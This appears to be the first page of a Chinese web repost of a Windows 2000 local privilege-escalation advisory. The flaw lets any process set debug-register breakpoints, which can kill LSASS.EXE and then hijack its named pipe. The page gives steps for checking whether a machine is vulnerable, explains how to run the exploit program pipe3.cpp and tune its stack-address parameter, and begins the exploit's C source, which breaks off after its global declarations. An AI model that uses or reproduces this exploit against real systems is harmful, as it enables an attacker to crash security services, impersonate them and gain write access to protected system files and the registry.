1 2 3 4 5 下一页 发现 WINDOWS 2K 存在漏洞。如果攻击者能在 WIN2K 中运行程序,利用此漏洞,他至少能取得对 C:\WINNT\SYSTEM32 和 HKCR 的写权。
问题在于所有进程对 x86 debug registers DR0-7 都可访问。通过在一个进程中设置硬件断点,将能影响到其它进程和服务,例如中止该服务。攻击者然后再劫持该服务的信任命名管道。当其它服务向该命名管道写入时,便能伪装成服务了。
例如用硬件断点杀死 pipe3.cpp LSASS.EXE ,然后劫持 \\.\pipe\lsass :
1) 观察是否存在漏洞:
用 windbg 启动 debugging CALC.EXE ,设硬件断点于 ESP,再打开 taskmgr.exe 。如果你接到的不是 CALC.EXE 而是 Single Step exception 对话框或 BSOD ,那么,该系统存在此漏洞。
2) 利用 pipe3.cpp:
pipe3.cpp 有两个参数 , 。先启动 pipe3,稍等片刻。预期结果是能得到 LSASS.EXE 的 exception ,然后它将会消亡,之后控制台会被锁住,机器被重启。在 c:\winnt\system32 中会创建一个文件,在 HKCR 会创建一个 KEY。如果 LSASS.EXE 没消亡,先停止 PIPE3,然后再重启它。如果利用不成功。便需要 MAGICESPINLSA 参数了,它是 LSASS.EXE 中的 ESP。如果你得到 BSOD,那么将需要进一步利用该参数或 Sleep()。
以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负
// Win2K elevation of privileges // Written by Georgi Guninski http://www.guninski.com // Kind of ugly but works // Check the disclaimer and advisory at http://www.guninski.com/dr07.html
#define _WIN32_WINNT 0x0500
#include #include #include
// may need to change below /////////////////////////////// DWORD lsasspid=224; // pid of LSASS.EXE //DWORD lsasspid=236; // pid of LSASS.EXE DWORD MAGICESPINLSA=0x0053ffa0; // ESP in LSASS.EXE - may need to change it //////////////////////////////
char szPipe[64]="\\\\.\\pipe\\lsass"; HANDLE hProc = NULL; PROCESS_INFORMATION pi;
volatile int lsadied = 0;1 2 3 4 5 下一页 |